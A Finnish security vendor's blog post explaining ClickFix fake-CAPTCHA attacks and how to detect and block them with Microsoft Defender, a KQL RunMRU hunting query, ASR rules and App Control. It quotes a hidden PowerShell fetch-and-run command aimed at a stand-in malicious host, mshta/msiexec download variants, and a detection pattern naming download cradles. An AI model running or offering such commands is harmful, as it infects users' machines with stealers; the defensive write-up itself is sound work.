ClickFix. Kun käyttäjä on se exploit, ja miten te pysäytätte sen

ClickFix tekee käyttäjästä oman hyökkääjänsä: väärennetty CAPTCHA, yksi copy-paste, ja haittakoodi ajaa muistissa ilman että mitään päätyy levylle. Miten Microsoft Defender tunnistaa hyökkäyksen, missä tunnistus tulee rajoilleen ja miten te suljette aukon RunMRU-huntilla ja neljällä suojauslayerilla.

ClickFix. Kun käyttäjä on se exploit, ja miten te pysäytätte sen

ClickFix-hyökkäysketju

ClickFix on hyökkäys, jossa käyttäjistä tulee omia hyökkääjiään. Ei exploitia, ei haavoittuvuutta. Uhri suorittaa haittakoodin itse, yhdellä ainoalla copy-pastella.

ClickFix-hyökkäysketju viidessä vaiheessa: houkutin, temppu, copy-paste, suoritus, infektio.

Houkutin on social engineering: väärennetty CAPTCHA haitallisella sivulla, valheellinen tuki-ilmoitus (”selaimesi tarvitsee päivityksen”), phishing-viesti tai väärennetty kokoussivu. Sillä aikaa kun uhri on sivulla, JavaScript kirjoittaa payloadin leikepöydälle clipboard.writeText()-kutsulla. Sitten sivu kehottaa käyttäjää painamaan Win+R, Ctrl+V ja Enter. Suorita-dialogi käynnistää sen, mikä leikepöydällä on.

Tyypillinen houkutin näyttää tältä:

Kuvakaappaus väärennetystä CAPTCHA-houkuttimesta, joka kehottaa käyttäjää painamaan Win ja X, sitten liittämään ja suorittamaan komennon Enterillä.

Komento, jonka se asettaa leikepöydälle, näyttää tältä:

powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)

Kaksi asiaa tapahtuu samanaikaisesti. PowerShell käynnistyy piilotetussa ikkunassa (-w h), ja iex(irm …) lataa payloadin ja suorittaa sen suoraan muistissa. Mitään ei päädy levylle, joten signatuuripohjaisella virustorjunnalla ei ole mitään skannattavaa. Toinen vaihe on useimmiten infostealer (Lumma, Vidar, RedLine, StealC), Remote Access Trojan tai ransomware-loader.

Sama kuvio Microsoft Defenderin telemetriassa, piilotettu PowerShell käynnistettynä Windows Terminalista, joka suorittaa iex(irm …):

Microsoft Defenderin Inspect-record, jossa prosessiketju WindowsTerminal.exe, pwsh.exe ja powershell.exe suorittaa iex(irm …) -komennon.

Miksi tämä toimii niin hyvin: kaikki ajaa käyttäjän kontekstissa, ilman korotettuja oikeuksia. Evästeet, tallennetut salasanat ja istuntotokenit ovat peruskäyttäjän ulottuvilla. Hyökkääjän ei tarvitse eskaloida oikeuksia päästäkseen siihen, minkä perässä hän tuli.

Mitä Microsoft Defender havaitsee

Microsoft on viime kuukausina investoinut paljon ClickFix-tunnistukseen. Jos teidän Defenderinne on terve ja oikein konfiguroitu, saatte natiivit tunnistukset ClickFix-payloadeille. Q2 2025 lähtien MDE julkaisee käyttäytymispohjaisia alerteja otsikoilla kuten ”Suspicious 'ClickFix' behavior detected”, ”Malicious PowerShell command executed via Run dialog” tai ”An active 'Pacalau' malware in a command line was prevented from executing”. Ne laukeavat MDE:n cloud-enginestä prosessiketjun analyysin kautta, rinnakkain AV-tunnistuksen kanssa ja usein pari sekuntia aiemmin.

Konfiguraatio, joka tekee tämän mahdolliseksi, on kuvattu alempana suorituksen kovennuksen kohdalla.

Missä natiivi tunnistus tulee rajoilleen

Cloud-pohjaiset ML-signatuurit tarvitsevat aikaa ennen kuin ne laukeavat. Näemme säännöllisesti yli minuutin mittaisen aukon PowerShellin käynnistymisen ja Defender-alertin välillä. Nopeampi payload livahtaa tästä ikkunasta läpi.

Hyökkääjät myös sopeutuvat nopeasti. Vaihda powershell tilalle mshta http://... tai msiexec /i http://..., molemmat klassisia LOLBineja, niin PowerShell-kohtaiset tunnistukset eivät enää pure.

Aukon sulkeminen: RunMRU-hunt

Tämän aukon suljemme Custom Detectioneilla. Lähtökohtana on KQL-kysely rekisteriavaimeen RunMRU, joka kirjaa jokaisen komennon, jonka käyttäjä kirjoittaa Win+R-dialogiin.

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
    or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
        and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
    or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
    or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
    or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
        and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
            or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))

Kysely merkitsee jokaisen Win+R-merkinnän, joka näyttää ClickFix-komennolta: PowerShell, mshta, curl tai msiexec yhdessä tyypillisten indikaattorien kuten -w hidden, iex, irm, DownloadString tai Base64-koodattujen payloadien kanssa. Se nappaa myös hienovaraiset temput. Vihreän check-emojin, jonka moni väärennetty CAPTCHA-houkutin asettaa komennon eteen. Unicode-merkit kyrillisiltä, arabialaisilta tai thaimaalaisilta alueilta, joilla hyökkääjät naamioivat tekstiä ja kiertävät yksinkertaisia merkkijonosuodattimia. Jos jokin näistä kuvioista ilmestyy Win+R-merkintään, käynnissä on hyvin todennäköisesti ClickFix-hyökkäys.

CSOC-asiakkaillemme ajamme näitä ja muita Custom Detectioneja sulkeaksemme aukon uusien hyökkäystekniikoiden ja sisäänrakennetun tunnistuksen välillä.

Suojauslayer 1: toimituksen estäminen

Nyt preventioon. ClickFix on yleinen ja menestyksekäs, joten yksittäinen suojaus ei riitä. Työskentelemme layereissa, toimituksesta suoritukseen.

Network Protection estää tunnetut delivery-domainit ja C2-palvelimet kaikilta selaimilta. MDE Web Content Filtering täydentää kategorioilla kuten ”Newly registered domains”, ”Hacking” ja ”Illegal Software”. Network Protection on sisäänrakennettu Windowsiin, mutta kolmannen osapuolen selaimia varten teidän täytyy poistaa QUIC ja ECH käytöstä, koska molemmat salaavat koko yhteyden ja piilottavat kohdedomainin. Poistakaa QUIC käytöstä Chromessa ja Firefoxissa enterprise-policyllä (QuicAllowed = Disabled Chromessa, network.http.http3.enable = false Firefoxissa); ECH:ta varten asetatte Chromessa EncryptedClientHelloEnabled = Disabled.

Edgeä varten aktivoitte SmartScreenin. Kolmannen osapuolen selaimissa kytkette päälle niiden sisäänrakennetun Safe Browsingin. Se ei ole sama asia kuin Network Protection, mutta auttaa haitallisten sivujen suodattamisessa. Sähköpostivektorin osalta Safe Links ja Safe Attachments tarkistavat linkit ja liitteet, ennen kuin käyttäjät ovat niiden kanssa tekemisissä.

Koukku on tässä: kaikki tämä puree vain tunnettuun infrastruktuuriin. Ajankohtaiset ClickFix-kampanjat kulkevat tuoreeltaan rekisteröidyn infrastruktuurin kautta, joka identifioidaan ja estetään liian myöhään, ja joskus legitiimien sivujen kautta, jotka hyökkääjä on kompromentoinut. Katsotaan siis, mikä suojaa sen jälkeen kun houkutin on toimitettu.

Suojauslayer 2: tempun estäminen

Pari Edgen ominaisuutta nostaa kynnystä sillä aikaa kun käyttäjä on haitallisella sivulla. Selainlaajennusten hallinta estää käyttäjiä asentamasta haitallisia tai kompromentoituja laajennuksia, jotka istuttavat ClickFix-overlayta tai manipuloivat itse leikepöytää. Edge Enhanced Security Mode asettaa tiukemmat suojatoimet tuntemattomille ja harvoin vierailluille sivuille (JIT pois käytöstä, Control Flow Guard, laitteistotuettu pinosuojaus), mikä vaikeuttaa exploitpohjaisia selainvaltauksia selvästi. Typo Protection varoittaa typosquatatuista domaineista (micros0ft.com, paypa1.com) ja estää yleisen ClickFix-toimitusvektorin väärennettyjen brändidomainien kautta.

Tekniset kontrollit ovat vain puoli voittoa. Käyttäjien valistus pysyy ratkaisevana. Se yksi sääntö, joka kantaa suurimman osan: jos verkkosivu kehottaa sinua liittämään jotain koneeseesi, kyseessä on hyökkäys. Tehkää siitä konkreettista awareness-koulutuksessa:

  • Näyttäkää oikeita houkuttimia: väärennettyjä ”Verify you are human” -valintaruutuja, ”selaimesi tarvitsee päivityksen”, ”dokumenttia ei voitu renderöidä, suorita tämä korjaus”, rikkinäisiä Teams- tai Zoom-audiokehotteita.
  • Esittäkää leikepöytätemppu: näyttäkää, miten sivu ylikirjoittaa leikepöydän hiljaa.
  • Tehkää ilmoittamisesta helppoa: nopeasti ja ilman syyttelyä.

Suojauslayer 3: toiminnon estäminen

Tässä on pari tapaa koventaa järjestelmää, eikä yksikään niistä ole takuu. Aloittakaa Suorita-dialogin poistamisesta käytöstä, se poistaa Win+R-sisääntulopisteen. Microsoftin ClickFix-ohjeistus suosittelee sen poistamista käytöstä ”where it isn't necessary”. Se sulkee nimenomaisen Win+R-liitoshyökkäyksen, mutta vaihtoehtoiset käynnistyspinnat jäävät, esimerkiksi Explorerin osoiterivi ja Windows Terminal.

Voitte lisäksi koventaa Edgeä DefaultClipboardSetting-asetuksella, joka estää JavaScriptiä kirjoittamasta leikepöydälle hiljaa.

Suojauslayer 4: suorituksen estäminen

Ennen edistyneitä ominaisuuksia laittakaa perusasiat kuntoon. ClickFixin osalta se tarkoittaa:

  • Local Admin Reduction: poistakaa paikalliset administrator-oikeudet loppukäyttäjiltä siellä missä mahdollista, jotta koodin suorituksen vaikutus rajautuu.
  • Endpoint Privilege Management (EPM): antakaa käyttäjien työskennellä peruskäyttäjinä ja korottakaa vain hyväksytyt sovellukset policy-sääntöjen kautta.
  • UAC-kovennus: tarkistakaa Secure Desktop -enforcement, kehotteiden käyttäytyminen administratoreille ja peruskäyttäjille sekä asennusohjelmien tunnistus.
  • Credential Guard: eristäkää NTLM-hashit, Kerberos-tiketit ja muu credential-materiaali virtualisointipohjaisella turvallisuudella, jotta credential-varkaus pysyy vaikeana silloinkin, kun hyökkääjä saa admin-oikeudet.

Nämä kontrollit vähentävät eskalaatiomahdollisuuksia, suojaavat credentialeja ja pakottavat least privilege -periaatteen. Raja tulee tässä: ne rajaavat sitä, mitä kompromentoinnin jälkeen tapahtuu. Ne eivät estä infostealeria peruskäyttäjän kontekstissa lukemasta käyttäjälle luettavissa olevia evästeitä, istuntotokeneita ja sovellusten credential-storeja.

Sitten Microsoft Defender. Defender AV voi tunnistaa toisen vaiheen payloadin, mutta vain oikeilla asetuksilla: kytkekää Cloud Protection päälle ja asettakaa suojaustaso arvoon High tai High+. AMSI, Antimalware Scan Interface, antaa sovellusten luovuttaa sisältöä ajonaikaisesti Defenderille tarkistettavaksi sen jälkeen kun se on purettu tai deobfuskoitu muistissa, mutta ennen kuin se suoritetaan. PowerShell käyttää AMSI:a haittakoodin tunnistamiseen, ja AMSI tarvitsee reaaliaikaisen suojauksen ja Behavior Monitoringin.

Vähintään viisi Attack Surface Reduction -sääntöä on ClickFixin kannalta relevanttia:

Sääntö GUID ClickFix-relevanssi
Estä mahdollisesti obfuskoitujen skriptien suoritus 5beb7efe-fd9a-4556-801d-275e5ffc04cc Obfuskoidut tai koodatut skriptit suoritus- ja evaasiovaiheessa
Estä JavaScriptiä tai VBScriptiä käynnistämästä ladattua suoritettavaa sisältöä d3e037e1-3eb8-44c8-a917-57927947596d WSH, .js tai .vbs, jotka käynnistävät ladattuja payloadeja
Salli suoritettavat tiedostot vain prevalenssi-, ikä- tai trusted-list-kriteerin perusteella 01443614-cd74-433a-b99e-2ecdc07bfc25 Tuoreet tai harvinaiset levylle kirjoitetut executablet
Estä suoritettava sisältö sähköpostiohjelmasta ja webmailista be9ba2d9-53ea-4cdc-84e5-9b1eeee46550 Sähköpostilla toimitetut ClickFix-variantit
Estä kaikkia Office-sovelluksia luomasta lapsiprosesseja d4f940ab-401b-4efc-aadc-ad5f3c50688a Office-houkutinvariantit, jotka käynnistävät interpretereitä

Rullatkaa ASR ensin audit-tilassa, sitten pilottina, sitten block-tilassa. Tamper Protection on viimeinen linja: se estää hyökkääjää sammuttamasta teidän tunnistuksianne.

PowerShellissä itsessään vähennätte legacy-interpretereiden tuomaa riskiä. Identifioikaa ja poistakaa siellä missä se on toteutettavissa Windows PowerShell 2.0 ja legacy-VBScript-komponentit, joilta puuttuvat uudempien versioiden logging- ja security-ominaisuudet. Seuraava askel on Constrained Language Mode (CLM), joka rajoittaa PowerShellin käytettävissä olevia kielielementtejä ja estää monet skriptipohjaiset tekniikat. CLM:llä on robustia turva-arvoa vain silloin, kun system application control -policy pakottaa sen (App Control for Business); ympäristömuuttujan ja AppLockerin kautta toteutetut variantit ovat heikompia ja kierrettävissä. Ja monet järjestelmät tarvitsevat Full Language Modea toimiakseen, esimerkiksi ohjelmistojen deployment-tooling, minkä vuoksi CLM on usein toteutettavissa vain valituissa ympäristöissä.

Näin päädymme App Control for Businessiin (aiemmin WDAC). App Control pakottaa koodin integriteettipolicyn siitä, mitkä executablet, skriptit ja ajurit saavat ajaa. Strateginen asento on default-deny plus Microsoftin suosittelemat Block Rules, tunnettu LOLBin- ja bypass-estolista. App Control on myös oikea enforcement-polku PowerShellin CLM:lle. Script Enforcement estää MSHTA- ja MSXML-skriptihostit, pakottaa PowerShellin CLM:ään ja estää sallimattoman Windows Script Hostin käytön. Pari käyttäytymisfaktaa on tärkeää:

  • Base Policyt, jotka luottavat Windowsiin, eivät estä luotettuja LOLBineja automaattisesti. Teidän täytyy mergetä Microsoftin suosittelemat Block Rules sisään, jotta tunnetut bypassit sulkeutuvat.
  • App Control ei estä allekirjoitetun powershell.exen tai cmd.exen käynnistymistä. Se rajoittaa sitä, mitä ne saavat tehdä (CLM, ei allekirjoittamatonta tai sallimatonta payloadia), eikä säätele cmd.exen, .batin tai .cmd:n sisältöä. Siksi se kerrostetaan ASR:n ja käynnistyksen kovennuksen kanssa, eikä käytetä yksinään.
  • Audit-tila ei ole neutraali: Script Enforcement estää auditissakin MSHTA:n ja MSXML:n suorituksen ja voi muuttaa PowerShellin CLM-käyttäytymistä. Siksi App Controlin täytyy auditissa olla ensimmäisestä käyttöönotosta lähtien pilotti- tai rengasrajattu, ei koskaan koko laitekannan laajuinen.

App Control on yksittäinen kontrolli, jolla on korkein confidence interpreter-, LOLBin- ja payloadin suoritusvaiheita vastaan, ja se pakottaa robustin CLM:n. Samalla se kantaa korkeimman deployment-kompleksisuuden ja korkeimman rollback-riskin, sillä virheellinen konfiguraatio estää suorituksen. Ottakaa se käyttöön hallittujen pilottirenkaiden kautta.

Missä me tulemme kuvaan

ClickFix on nopea, ja Microsoftin natiivit tunnistukset kattavat suurimman osan, mutta eivät kaikkea. CSOC-asiakkaillemme laajennamme kattavuutta jatkuvasti siellä, missä aukkoja ilmaantuu: suoritus Windows Terminalin kautta, RAT-vetoiset tuki-scamit ja post-compromise-käyttäytyminen. Jos haluatte tietää, missä teidän ympäristönne on, ottakaa yhteyttä.

Samankaltaiset artikkelit